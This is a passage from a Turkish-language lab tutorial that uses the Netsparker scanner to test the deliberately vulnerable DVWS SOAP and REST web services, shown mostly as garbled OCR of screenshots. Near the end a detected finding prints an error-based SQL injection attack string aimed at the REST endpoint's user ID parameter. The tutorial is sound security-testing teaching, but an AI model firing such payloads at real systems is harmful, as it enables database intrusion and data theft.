| URL Rewrite Pre-Request Script Shark (NST) uthentication Form Basic, NTLM/Kerberos Header Client Certificate Smart Card | POST http:// | CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> CoopBody soapeer.codingStyle="http://schemas.xmlsoap.org/soap/encoding/"> Packet Body | |
| U UR, Rewrite Pre-Request Script , Shark (IAST) form Saisc, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 | POST http:// | SoopBody sospencodingStyle="http://schemas.xmboap.org/sosp/encoding/"> Packet Header SoopBody sospencodingStyle="http://schemas.xmboap.org/sosp/encoding/"> Packet Header Packet Body Compared Style="http://schemas.xmboap.org/sosp/encoding/"> Packet Header Packet Body Compared Style="http://schemas.xmboap.org/sosp/encoding/"> Compared Style="http://schemas.xmboap.smboap.org/sosp/encoding/"> Compared Style="http://schemas.x | |

Eklenen Birinci Örnek XML Talep Paketi

| rget Website or Web Service URL | Edit Link | |
|---|---|---------|
| p://192.168.0.15/dvws/ | Builder Raw Hex-View | |
| ptions | POST - HTTP - 192.168.0.15 80 C //dvws/vulnerabilities/wsdlenum/serv | ice.php |
| an Settings | Enabled Type in Name in Value | Encoded |
| General 🕒 Add 🥕 E | ∽ Headers | |
| Scope | ✓ Header → Host 192.168.0.15 | |
| Additional Websites | Header - SOAPAction "http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php/check_user_id" | 1 |
| Imported Links (3) POST ht | | |
| Pre-Request Script Shark (IAST) thentication | Packet Header | |
| Form Basic, NTLM/Kerbero Header Client Certificaty | <pre><compbody:soapencodingstyle="http: "="" encoding="" schemas.xmlsoap.org="" soap=""> <check.uer_id> </check.uer_id></compbody:soapencodingstyle="http:> <td>t</td></pre> | t |
| Smart Car | ✓ Enable Raw Request Body | |
| OAuth2 Manual Scan sco | Save | Can |

Eklenen İkinci Örnek XML Talep Paketi

| Start a New Website or Web Servi | ice Scan | | Edit Link | | | | | | × |
|--|----------|-----------|--|--|-------------------|---------------------------|--|------------------------|---------|
| Target Website or Web Service | URL | | | | | | | | |
| http://192.168.0.15/dvws/ | | | Builder | Raw Hex | /iew | | | | |
| Options | | | POST | + HTTP | + 192.168.0.1 | 5 | 80 🗘 /dvws/vulnerabil | ities/wsdlenum/service | .php |
| Scan Settings | Importo | Ulake | Enabled | Туре 🗉 | Name 🗉 | Value | | | Encoded |
| 🖉 General | Add 4 | Edit 🕽 | → Heade | rs | | | | | |
| Scope | | | Image: A state of the state | Header + | Host | 192.168.0.15 | | | ✓ |
| 🚷 Additional Websites | Method | URL | | Header + | SOAPAction | "http://192.168.0.15/d | wws/vulnerabilities/wsdlenum/service.php | /Population" | ✓ |
| 🔗 Imported Links (3) | POST | http://1 | | - | | | | | |
| 🧭 URL Rewrite | POST | http://1 | | | | | | <u> </u> | 、 II |
| Pre-Request Script Shark (IAST) Authentication | 1 | | | | | | | Packet Header | |
| Form Basic, NTLM/Kerberos Header | | | <soap:bo <popula <value <td>dy soap:encod tion> one xsi:type= ation> ody> velope></td><td>ingStyle="http://</td><td>schemas.xmlsoap.org/: </td><td>soap/encoding/"></td><td>Packet Body</td><td></td></value </popula </soap:bo | dy soap:encod tion> one xsi:type= ation> ody> velope> | ingStyle="http:// | schemas.xmlsoap.org/: | soap/encoding/"> | Packet Body | |
| Client Certifi | | | C Enable F | Raw Request B | ody | | | | |
| OAuth2 Manual | 1) Scar | scope rul | | | | | | Save | Cancel |
| | 2 | | | | Crawl and Wait | - Cancel | Overall Activity | : | Status |

Eklenen Üçüncü Örnek XML Talep Paketi

Görüldüğü gibi örnek xml paketleri eklenmiştir. Şimdi bu arayüz / kapsam belirlemesi sonrası Netsparker taramasına başlanabilir.

| rget Website or Web Servi | ce URL | |
|---------------------------|----------|---|
| p://192.168.0.15/dvws/ | | 👻 🏹 🛞 Previous Settings 👻 |
| ptions | | |
| an Settings | | |
| General | Imported | l Links |
| Scone | 🕀 Add 🛃 | 🖍 Edit 🗙 Delete 🔯 Clear 📿 Search 🛛 Import From File 🛪 Enter Links |
| Additional Websites | Method | URL |
| Additional Websites | POST | http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php |
| Imported Links (3) | POST | http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php |
| URL Rewrite | POST | http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php |
| Pre-Request Script | | |
| Shark (IAST) | | |
| thentication | | |
| Form | | |
| Basic NTI M/Kerberos | | |
| Header | | |
| Client Certificate | | |
| Crient Certificate | | |
| Smart Card | | |
| OAuth2 | () Sear | scope rules will be applied to imported links during the scap |
| Manual | () scar | acoperates will be applied to imported links during the search |
| | | |
| | | Crawl and Wait Cancel |
| | | Start Scan |
| | | Crawl and Wait |
| | | Manual Crawl (Proxy Mode) |
| | | |

Tarama başladığında eklenen arayüz / kapsam (ve ilaveten ek crawling sonucu gelen arayüz / kapsam) sol sütunda sıralanır.

Not:

DVWS soap web servisi tüketen uygulama web-based bir php uygulaması olduğundan ek crawling olacaktır ve bunun sonucunda birçok arayüz / kapsam ilave edilecektir.

Tarama başladığında soap web servis arayüzünün / kapsamının sıralanışı ve hedef soap web servisin tespit edildiğine dair bilgilendirme mesajı görülebilir.

| | porting Help | scan Tools 11 | link D Search | | 192.168.0.15 - Netsparker 6.0.2.30446 | | | - 🍂 🐥 - 16 Spri | or X |
|--|--|--------------------------|--|---|---|---|---|---|--------------------|
| Centralied Send to Request Go Scan Builder Train | Page Copy I | URL Copy as cURL Copy | Coople Explorer Cover States | | | | | | |
| Sitemap - Previous Settings | 0 # × | HTTP 8 | lequest / Response 🔗 Browser View 🛄 Ka | owledge Base Viewer | | | | - 💼 Knowledge Base (18) | * 3 |
| T. El. O. D. Interfect to | search | First From | Inclusion Clean (+ Presse | n A Next H Save Report | | | | AVAX / XML HTTP Requests [2] | |
| 59 192.168.0.1540/dvvs/ (94) 50 dvvs 87 menu-topple 8 sbout | | - | Web Services (SO/ | AP) | | | (i) INFORMATION | Comments (142) Cookies [1] Crawling Performance [14] | |
| > in cos > in js > in condi > in condi > in hiddendir | Soap Web Servis Arayüzü Tarama | SOAP V Setting | Web Services found in the target appli as and make sure you have selected B A Web Service | cation. You can use the pa act as the match type. | rameter name listed here to provide a default value v | while attacking. To add a default value, plea | ase use Form Values in your Scan Policy | Trial Addresses [1] File Extensions [8] Interesting Headers [1] JavaScript Files [8] | |
| 8p2 🔐 + | Kapsamında 🖡 | Opera | ation Parameter | | | | | MIME Types [12] | |
| - sur | | chark | user Id /soan-Enve | one[11/scan-Body[11 | /chack user (d[1]/username[1]/text()[] | 1 | | Not Founds [28] | |
| v 🚺 service.php | i | cineck | | ope [1] / seap (seaf [1] | / decel_deci_deli/ decende (i/, conc() (i | 4. | | Scan Beformance [1] | |
| Populati FC 2mail | on | Popul | lation /soap:Enve. | ope[1]/soap:sody[1] | /Population[1]/Value_one[1]/text()[1] | | | Of Site Profile [1] | |
| + [2] <name></name> | | Return | n_price /soap:Envel | lope[1]/soap:Body[1] | /Return_price[1]/name[1]/text()[1] | | | Slowest Pages [10] | |
| 181 <usenta 1911 <value_c< td=""><td>me> xne></td><td>DVWA</td><td>Web Service</td><td></td><td></td><td></td><td></td><td>227 [1]</td><td></td></value_c<></usenta | me> xne> | DVWA | Web Service | | | | | 227 [1] | |
| Possible) Cr | oss-site Request For | Opera | ation Parameter | | | | | Web Services (SDAP) [2] | |
| Possible) Pt | ishing by Navigatin | check | user_id /soap:Envel | lope[1]/scap:Body[1] | /check_user_id[1]/username[1]/text()[1] | 1 | | | _ |
| s 👬 xmibomb | | Popul | ation /seap:Envel | ope[1]/soap:Body[1] | /Population[1]/value one[1]/text()[1] | | | Soap Web Serv | visi |
| > spath | | | | | (Tabuan and as (2) (and (2) (bank) (2) | | | Tespit Edildi | (n) |
| 🔮 Issues - Previous Settings | 0 8 X | Return | n_price /soap:Enve. | tobe(r), soab: pody(r) | .Mernin_birce[i]/Hame[i]/cexc((i)] | | | Bilgisi | 120 |
| T · El · O · D · Enter text to | sauch P | | | | | | | | |
| - 53 192.168.0.15:80/dvws/ (113) | | | | | | | | | |
| Out-of-date Version (Ap | ache) | | | | | | | | |
| Password Transmitted of | smitted over Query | | | | | | | | |
| > 🎽 Out-of-date Version (Bo | otstrap) [Variations: 2] | | | | | | | | |
| > Out-of-date Version ()Qi | ery) [Verietions: 3] | | | | | | | | |
| Cookie Not Marked as H Internal Server Error IVan | ttpOnly [Variations: 2] | | | | | | | | |
|) Possible] Cross-site Req | uest Forgery [Variati | Activity | | | | | | × | |
| > 🎽 [Possible] Internal IP Add | tress Disclosure | Method | i Target | Parameter | Duration Current Activity | Overall Activity | Status | | |
| Possible] Phishing by N | avigating Browser Ta | Craveling [4] | | | | | | | |
| a phpinfol) Output Detect | ed | POST | http://192.168.0.15/dvws/vulnerabilities/xxe2/se | . (value+DVWS) | 15 | | Loading (DOM/35) | | |
| Programming Error Mes | inge | GET GET | http://192.168.0.15/dows/vulnerabilities/spath/7 http://192.168.0.15/dows/vulnerabilities/spath/7 | | 1. | | Parsing (DOM/35) | | |
| Version Disclosure (Apac | he) | GET | https://192.168.0.15/dvws/vulnerabilities/cmdi/ | | 15 | | Analyzing | | |
| Version Disclosure (NuSi Content Security Policy | (SP) Not implement | | | | | | | | |
| Missing X-XSS-Protectio | n Header [Variations | | | | | | | | |
| P Referrer-Policy Not Impl | emented [Variations | | | | | | | | |
| SameSite Cookie Not Im | plemented [Variation | | | | | | | | |
| Directory Listing (Apach | e) [Variations: 8] | | | | | | | | |
| Comeil Address Disclosure | Contraction of the local distance of the loc | Activity | r 🗠 Progress 🗐 Logs (23) | | | | | 🐞 Knowledge Base (18) 🏾 🐑 Netspar | eker Assistant (2) |
| Justo save finished successfully - 7/1 | 7/2021 11:13:49 AM | | | Crawling 11/31 65 | 🖪 Previous Settinos - 📓 Default Security Obecks - 🖼 Default F | Report Policy - 🌐 1 🗮 1 🗮 10 🚬 49 🕨 3 | 7 📭 22 VOB undate check failed. Please check your | internet connection and loos for details | Provid System |
| and the second second | | | | | | | | ENG 11 | 115 AM |

Not:

Netsparker sol sütununda soap web servis arayüzünün / kapsamının listelendiği kısımda yer alan name, username, ve value_one wsdl arayüzü ile oluşan xml talep paketlerinin gövdelerindeki xml node'larıdır (yani oluşan xml talep paketlerinin gövde parametreleridir). Import Links seçeneğinde listelenen oluşmuş xml taleplerini gösteren önceki resimlerde bu durum görülebilir.

Bu şekilde netsparker ile hedef soap web servisler taranabilmektedir ve bulunan bulgulara göre hedef soap web servise dair açıklıklar elde edilebilmektedir.

Netsparker'ın yukarıdaki resminde sol taraftaki açıklık sütununda ek crawling sonucu gelen webbased (web tabanlı) uygulamanın açıklıkları listelenmektedir. Aynı şekilde hedef soap web servise dair açıklıklar da bu şekilde gelecektir. Fakat mevcut soap web servisinin wsdl dosyasının sunduğu arayüz / kapsam oldukça sınırlı olduğundan (yani küçük olduğundan), sadece DVWS soap web servisinin WSDL enumeration sayfası işlevlerini kapsadığından, ve wsdl enumeration sayfasında sunulan / öğretilmeye çalışılan açıklık türünün sadece elde edilen wsdl dosyası yoluyla sayfanın sunduğu talep dışında hedef soap servisin işleyebileceği başka gizli talepler bulun olduğundan (yani bilgi ifşası olduğundan) netsparker'da web servise özgü bir açıklık bulgusu tespit edilmemiştir.

5.3.3.2 Netsparker ile REST Web Servis Testi

Bu uygulamada netsparker yazılımı ile kasıtlı zafiyetler içeren dvws web servisinin bir ders sayfasındaki arka uçta yer alan hedef rest web servisi test edilecektir.

Kullanılan Materyaller

Ubuntu 18.04 LTS Netsparker // Fiziksel Makina // Güvenlik Testi Aracı VM DVWS - Windows 10 Home Premium

// Zafiyetli Web Servisi VM

Not: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 2: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Uyarı: Demoda kullanılacak DVWS web servisinin sql enjeksiyonu açıklığına sahip rest api endpoint'inde (uç noktasında) bug (hata) mevcuttur. Hata "No Database Selected" şeklinde ekrana gelmektedir. Hatanın (bug'ın) kaynak kodda düzenlemeler yaparak giderilmesi için bkz. <u>DVWS SQLi Açıklıklı Rest API Uç Noktasındaki Hatanın (Bug'ın)</u> <u>Giderilmesi</u>.

Netsparker ile rest web servis tarayabilmek için rest web servislerde arayüz / kapsam sunan WADL, OpenAPI (Swagger) v.b. dosyayı Netsparker tarama ayarlarından Import Links seçeneği ile yüklemek gerekmektedir. Bu şekilde Netsparker otomatize tarama aracı rest web servisin arayüzünü / kapsamını görebilecektir ve saldırı testlerini uygulayabilecektir.

DVWS web servisi kompakt halde test amaçlı hem SOAP web servis hem de REST web servis barındırmaktadır. REST web servisi için bir tanımlama dosyası bulundurmamaktadır. Bunun yerine bir adet url şeklinde arayüz / kapsam sunmaktadır. Bu nedenle netsparker'a arayüz / kapsam bu bir url ile eklenecektir.

Öncelikle dvws web servisindeki ilgili sayfayı görelim.

| Activi | ties 🛛 🧧 Chromium Web Browser 🕶 | CLS 1700 I Biorfon Chronium All Chronium |
|----------|--|--|
| | 🥹 SOAP Web Service 🗴 🛛 🥴 REST Web ! | ervice : 🗴 🖸 Web API-Wikiped: 🛪 🐞 RESTAPI Testing 'i x 🝺 Web services testi: x 🚺 Guing Burp to Tes: x 👘 Glibhub-snoopyse: x 👘 How to Scan REST xx 🗞 RESTAPI SQLInjer 🗴 + 🔍 |
| 9 | ← → C △ ▲ Not secure 192.168 | 0.33/dww/uhensbilites/sd/ |
| 6 | 🔢 Apps 🎽 İş Gücü Cirişi 💠 Jira İş Güci | a 🗶 ConfluenceSCE 🧧 Log in to bya 🤣 USVN SCE 👰 UCROWD SCE 📱 Sanal Siber Gû 🧯 SiberLab3 SCE 🔲 OpenStack Ge 👫 SCE Udeny 🖿 mûzik |
| 9 | | DEST ADI SOL Injection |
| U | | RESTART SQL IIJECION |
| | | SQL injection is a security vulnerability in which an attacker is able to submit a database SQL command that is executed by a web application, exposing the back-end database: A SQL injection attack can occur when a web application utilizes user-supplied data without proper validation or encoding as part of a command or query. |
| | | Note: If the REST API is exhibiting "Unable to connect to the database. mysql_error()", please edit the api.php file located under ldws/wu/nerabilities/sqli |
| | Vulperabilities | More Information |
| \$ \$ | WSDL Enumeration | Intps://www.owap.org/index.php/SQL_Injection Intps://php.net/manuallen/security.database.sql-injection.php |
| | | The following BFST service is utilizerable to SOL Intertion |
| - | XML Bomb Denial-of-Service | REST Service which retrieves a user based on ID: //www.hulnerabilities/soli/ani.nhu/users/2 |
| | | |
| - | | 1 |
| 0 | | |
| | | |
| 1977 | | |
| | | |
| | XML External Entity Injection 2 | |
| | | |
| | | |

DVWS Web Servisindeki REST Web Servisi Kısmı

Bir URL verilmiş. Bu rest web servise ait URL ile URL'deki parametreye verilen değere göre arkada veritabanından veri json formatında getirilmektedir.



REST Web Servis URL Parametresi 2 iken Gelen Veri



Rest Web Servis URL Parametresi 3 iken Gelen Veri

DVWS'nin bu ders sayfası ekranında rest web servis url'sindeki 2 parametresinde sql enjeksiyonu açıklığı sunulmaktadır.

Netsparker ile REST web servisini bu arayüzü / kapsamı göstererek test edelim ve sql enjeksiyonu tespiti yapalım. Öncelikle netsparker taramaya web servis adresi verilir.

| Start a New Website or Web Serv | rice Scan | _ × |
|--|---|---------------------------|
| Target Website or Web Service | URL | |
| http://192.168.0.36/dvws/ | | 👻 🛒 🛞 Previous Settings 👻 |
| Options | | |
| Scan Settings | Scan Policy | |
| Score | Default Security Checks | • ··· /* |
| Additional Websites | Report Policy | |
| 😪 Imported Links | Default Report Policy | • |
| Pre-Request Script | Custom Cookies | * |
|), Shark (IAST) | | v |
| Form Basic, NTLM/Kerberos Header Client Certificate | Crawling ✓ Find & Follow New Links Crawl & Attack at the Same Time Pause Scan After Crawling Incremental Scan | |
| Smart Card OAuth2 Manual | | |
| | | Start Scan 🔹 Cancel |

Netsparker Taramaya Web Servis Adresi Girilir

Ardından rest web servis arayüzü / kapsamı tanımlama dosyası olmadığından Import Links seçeneğinde arayüz / kapsam dosyası import etmek yerine bir adet url şeklinde ekleme yapalım.

| Start a New Website or Web Ser | vice Scan | |
|--|---|---------------|
| Target Website or Web Service http://192.168.0.36/dvws/ | e URL | us Settings , |
| Options | | |
| Scan Settings | Les este d Dela | |
| 🔑 General | Add / Edit / Delete E Clear O Search Import From File - | Enter Links |
| 🗘 Scope | | |
| 🚷 Additional Websites | Method URL | 1 |
| 🙊 Imported Links | | |
| 🗊 URL Rewrite 🗼 | | |
| ڃ Pre-Request Script | | |
| Shark (IAST) | | |
| Authentication | | |
| Form | | 1 |
| Basic, NTLM/Kerberos | | 2 |
| 营 Header | | - |
| Client Certificate | | |
| 5 Smart Card | | |
| 2 OAuth2 | | |
| 😢 Manual | Scan scope rules will be applied to imported links during the scan. | |
| | | |
| | Start Scan 👻 | Cancel |

Web Servis Arayüz / Kapsam Yükleme Ekranına Gidilir

| | | 👻 🛒 🌔 Previous Settings | s - |
|--------------------------------------|-------|-------------------------|-----|
| nter Links/HTTP Requests | | - | □ > |
| nk Format 🔗 Relative or Absolute Lir | nks – | | |
| ter Links or HTTP Requests | | | |
| | | | |
| | | | |

Endpoint URL'i Girilir

| Start a New Website or Web Servi | ce Scan | o x | |
|--|---|-----------|---|
| Target Website or Web Service | JRL | | 1 |
| http://192.168.0.36/dvws/ | 👻 🛒 🍥 Previous Se | ettings 👻 |] |
| Options | | | _ |
| Scan Settings | Imported Links | | 1 |
| General Scope Additional Websites Imported Links (1) URL Rewrite | Add Edit Delete Clear Search Import From File Enter Method URL GET http://192.168.0.36/dvws/vulnerabilities/sqli/api.php/users/2 | r Links | |
| Pre-Request Script K (IAST) Authentication Form | | | |
| Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 | 1 link(s) successfully imported. | × | |
| ♥ Manual | Scan scope rules will be applied to imported links during the scan. Start Scan T | Cancel | |

Rest Web Servis Arayüzü / Kapsamı Eklenir

Şimdi taramaya başlamadan önce URL Rewrite kuralı girmek gerekmektedir. Çünkü hedef web servisi URL Rewrite kuralı kullanmaktadır. Bu durum URL parametrelerinin URL'de dizin ismi bölümü olarak yer almasından anlaşılabilir. Hedef REST web servisi URL'de bu şekilde parametre kullanmaktadır. Eğer Netsparker'da URL Rewrite kuralı girilmezse (yani rest web servis url'sindeki parametre işaretlenmezse) netsparker kendinden tanımlı saldırıları rest web servis url'sinde dizin ismi şeklinde yer alan parametrede uygulamayacaktır. Yani url'deki dizin ismi gibi görünen parametre taranmamış olacaktır. Bu nedenle url'deki ilgili parametre url rewrite kuralı ile işaretlenmelidir ve tarama kapsamına dahil edilmelidir. Bu şekilde tarama sırasında saldırılar o

parametreye de uygulanabilir olacaktır.

Rest web servis URL'sindeki Parametreyi kapsama dahil etmek için URL Rewrite sekmesine gidilir ve Custom seçeneğine tıklanır.

| tart a New Website or Web S | ervice Scan | |
|-----------------------------------|--|----------------------------------|
| Target Website or Web Serv | rice URL | |
| http://192.168.0.36/dvws/ | - 🗊 📀 P | Previous Settings |
| Options | | |
| Scan Settings | URI Rewrite | |
| Sceneral | Enabled Heuristic * | C Exclusion |
| Scope Additional Websites | Root Path M Heuristic es: | 60 ‡ i |
| Imported Links (1) | Sub Path Ma Custom s: | 30 🗘 🤅 |
| VRL Rewrite | Block Separators: /\$,,; : | i |
| Pre-Request Cript | Analyzable Extensions: htm,html | Ċ |
|), Shark (IAST) Authentication | If your website uses URL Rewrite then you should configure the by choosing "Custom" URL Rewrite Rules. This will make scans increase the coverage. | e URL Rewrite faster and will |
| Form | | |
| Basic, NTLM/Kerberos | | |
| Header | | |
| Client Certificate | | |
| Smart Card | | |
| 0 Auth2 | | |
| o ondine | | |
| Manual | 2 | |

New ile kural penceresi açılır.

| Target Website or Web Servi | ce URL | | |
|--|--|--|------------|
| http://192.168.0.36/dvws/ | | 👻 💭 🔶 Previou | s Settings |
| Options | | | |
| Scan Settings | IIRI Rewrite | | |
| General | ✓ Enabled Custom ▼ G Cop | v Rules | Exclusion |
| Scope | | , | _ |
| 🚷 Additional Websites | 🕂 New 💥 Delete 🔻 🕥 Up | Down http://example.com | 🔣 Test |
| 🙊 Imported Links (1) | Placeholder Pattern | RegEx Pattern | |
| 💮 <u>URL Rewrite</u> | | | |
| | | | |
| 左 Pre-Request Script | | | |
| 🖌 Pre-Request Script | | | |
| Pre-Request Script Shark (IAST) Authentication | | | |
| Pre-Request Script Shark (IAST) Authentication Form | _ | | |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos | | | |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos Header | | | |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos Header Client Certificate | ✓ Enable Heuristic Rule Detecti | ion | |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos Header Client Certificate Smart Card | Enable Heuristic Rule Detecti Use placeholder or regular | ion expression patterns to define URL Rewrite 1 | rules. |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos Header Client Certificate Smart Card Outp2 | Enable Heuristic Rule Detecti Use placeholder or regular For example if the target U http://example.com/blog | ion expression patterns to define URL Rewrite r JRL is Jnews/Weelcome-to-my-blog | rules. |
| Pre-Request Script Shark (IAST) Authentication Form Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | Enable Heuristic Rule Detecti Use placeholder or regular For example if the target U http://example.com/blog The following placeholder Market Leformatic | ion expression patterns to define URL Rewrite r IRL is /news/welcome-to-my-blog pattern can be used /blog/(category)/(titl | rules. |

İlgili rest web servis url'si girilir.

| Target Website or Web Service | e URL | |
|--|--|--------|
| http://192.168.0.36/dvws/ | 👻 🚍 🔶 Previous Settir | nas 👻 |
| URL Rewrite Rule | | |
| Configure Sample URL | | |
| i Enter a sample URL that ma Example: http://www.exam | atches the URL rewrite rule you want to add. nple.com/products/123 | |
| Click Next to continue. | 1 | |
| URL: http://192.168.0.36/dvws | s/vulnerabilities/sqli/api.php/users/2 | |
| | | |
| | • | |
| | < Back Next > C | ancel |
| E Form | < Back Next > C | ancel |
| Form | < Back Next > C | ancel |
| Form Basic, NTLM/Kerberos Header | < Back Next > C | ancel |
| Form Basic, NTLM/Kerberos Header Cited Certificate | < Back Next > C | ancel |
| Form Pasic, NTLM/Kerberos Header Client Certificate Spart Card | < Back Next > C | ancel |
| Form Pasic, NTLM/Kerberos Header Client Certificate Smart Card Outb2 | < Back Next > C ✓ Enable Heuristic Rule Detection ③ Use placeholder or regular expression patterns to define URL Rewrite rules. For example if the target URL is http://warmle.com/blog/news/we/come-to-my-blog | Cancel |
| Form Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | < Back Next > C Stack | Cancel |
| Form Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | < Back Next > C ✓ Enable Heuristic Rule Detection ③ Use placeholder or regular expression patterns to define URL Rewrite rules. For example if the target URL is http://example.com/blog/news/welcome-to-my-blog The following placeholder pattern can be used /blog/(category)/(title) More Information | ancel |

Ardından url'deki dizin isimleri bölümleri ekrana gelir. Bunlardan parametre olanlar için parametredir tick işareti atılır. Bu adımda biz "2" unsuru için parametredir tick'i atacağız.

| Start a New Website or Web | Service Scan | | |
|---------------------------------|---------------------------------------|----------------|---------------------------|
| Target Website or Web Se | rvice URL | | |
| http://192.168.0.36/dvws/ | | | - 🔽 🔶 Previous Settings - |
| URL Rewrite Rule | | | |
| | | | |
| Configure Parameters | 5 | | |
| | | | |
| i Select the path segme | nts which contain a para | ameter value. | |
| | | | |
| Is URL Rewrite Parameter? | Parameter Type | Parameter Name | Path Segment |
| | Any | | dvws |
| | Any | | vulnerabilities |
| | Any | | sqli |
| | Any | | api.php |
| | Any | | users |
| | Any | | 2 |
| | | | |
| Dia anka Islan Dattauru (shawa) | · · · · · · · · · · · · · · · · · · · | -h (-) | |
| Placeholder Pattern: / dvws/ | vuinerabilities/ squ/ api.j | prip/users/2 | |
| RegEx Pattern: ^/dvws/vulr | ierabilities/sqli/api\.php | /users/2/?\$ | |
| | | | |
| | | | < Back Finish Cancel |
| Manual | Manalat | | |
| - Manual | Iviore Info | ormation | |
| | | | |
| | | | Start Scan 🔻 Cancel |

| Target Website or Web Se | rvice URL | | |
|-----------------------------|----------------------------|---------------------------------------|-------------------------|
| http://192.168.0.36/dvws/ | | | 🚽 🧊 🛞 Previous Settings |
| URL Rewrite Rule | | | |
| Configure Parameters | 5 | | |
| 5 | | | |
| (i) Select the path segme | nts which contain a para | ameter value. | |
| | | | |
| Is URL Rewrite Parameter? | Parameter Type | Parameter Name | Path Segment |
| | Any | | dvws |
| | Any | | vulnerabilities |
| | Any | | sqli |
| | Any | | api.php |
| | Any | | users |
| ✓ | Any | userID | 2 |
| | | | |
| Diacebolder Dattern: /dows/ | vulnerabilities/soli/ani | nhn/users//userID} | |
| | vullerabilities/sqli/api. | | |
| RegEx Pattern: ^/dvws/vuir | ierabilities/sqli/api\.php | 5/ users/ (:< useriD>[^/]+)/ ; \$ | |
| | | | < Back Finish Cance |
| 🌱 Manual | More Inf | ormation | |

Parametre Name kısmına rastgele bir bilgi girilebilir. Örn; userID. Ve Finish denilir.

Not: Eğer url'deki dizin isimleri bölümlerindeki bir unsur parametre bir diğer unsur parametrenin değeri ise Parameter Name kısmına parametre unsurundaki isim girilir. Örn; .../param1/arg1 şeklinde ise Parameter Name kısmına param1 girilir.

Böylece url'deki dizin ismi olarak yer alan parametre taramaya dahil edilir ve bu şekilde tarama başlatılabilirdir.

| Target Website or Web Servi | e URL |
|--|---|
| http://192.168.0.36/dvws/ | 👻 🛒 🌔 Previous Settings |
| Options | |
| Scan Settings | IIRI Rewrite |
| Scope | ✓ Enabled Custom ▼ 😭 Copy Rules 🗢 Exclusions |
| Additional Websites | 🔅 New 🗙 Delete 👻 🕥 Up 🕒 Down http://192.168.0.36/dvws/ 💽 Test |
| Imported Links (1) URL Rewrite (1) Pre-Request Script | Placeholder Pattern RegEx Pattern |
| , Shark (IAST) Authentication | |
| 📔 Form 🔑 Basic, NTLM/Kerberos 🔄 Header | |
| Client Certificate Smart Card OAuth2 Manual | Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation Content of the transformation |

Tarama sonrası dvws web servisinin sunduğu sayfada var olan sql injection açıklığı rest web servis url'sindeki 2 parametresinde tespit edilecektir.

| n 🐚 🗈 🖪 😐 , | Scan Tools Link Tools Valnerability Tools 192.168.0.37 - Netsparker 6.0.2.30486 | | <mark>9</mark> 4 - в х |
|---|--|---|---|
| File Home View Reporting Help | Scan Link Wulmenbilly D Search | | |
| Refer Commands | Exist Ignor tow Configure TW Derification State Configure TW State State Configure TW State State Configure TW | | |
| 🔜 Sitemap - Previous Settings 🛛 🕫 | x 🛅 HTTP Request / Response 😝 Vulnerability 💼 Browser View | | Netsparker Assistant (2)* * × |
| ▼ + □ + ⊙ + □ + Enter test to search | SQL Injection | | Maximum Signature Exceeded In ago Netsparker has detected that some of the visited UKs are being marked as not-of-scope due to Maximum Signature stiffing in your current scan |
| jsonRPCClient.php | URL : http://102.168.0.17/dow/vulmerabilities/vali/agi.gbu/users/_1320/1201_1201_048(26)_048(26)_048(26)_048(26)_048(26)_048(26)_048(26)_048(26)_048(26)_048(27)_048(2 | CLASSIFICATION | policy is exceeded. This means Natsparker has reached the maximum request limit made to the exact same path for those URLs. |
| restrictedExample.php | Parameter Name : userI | PCI DSS 3.2 6.5.1 | You can increase Maximum Signature value in |
| server.php | Parameter Type : URL Rewrite | OWASP 2013 A1 | website utilizes a parameter to navigate through |
| U hiddendir | Attack Pattern : -1+or+1%3d1+and+(SELECT+1+and+R0w(1%2c1)%3e(SELECT+COUNT(*)%2cC0NCAT(CHAR(95)%2cCHAR(33)%2cCHAR(52)%2cCHAR(52)%2cCHAR(39) | OWASP 2017 A1 | pages. You can enable Parameter Based Navigation for your scan to exclude requests made |
| - 🔓 sqli | 0)32ccH48(105)32ccH48(108)32ccH48(101)32ccH48(101)32ccH48(109)32ccH48(97)32c08342cFL008(R4M0(0)*2))x+FR09+INF009MITION_SC | CWE 89 | to the navigation parameter from this limit. |
| - 📷 spiphp | * Helva, CULLATURIS+GROUP+BY+X)aj | CAPEC 66 | Increase Maximum Signatu, Set up Parameter Based Na |
| HT 2 | | WASC 19 | |
| - 😥 (userID) | Proof of Exploit | HIPAA 164.306(A), 164.308(A) | Scan Policy Optimized Th age |
| SQL Injection | Identified Database Name | ISO27001 A.14.2.5 | Assistant has optimized your scan policy for the |
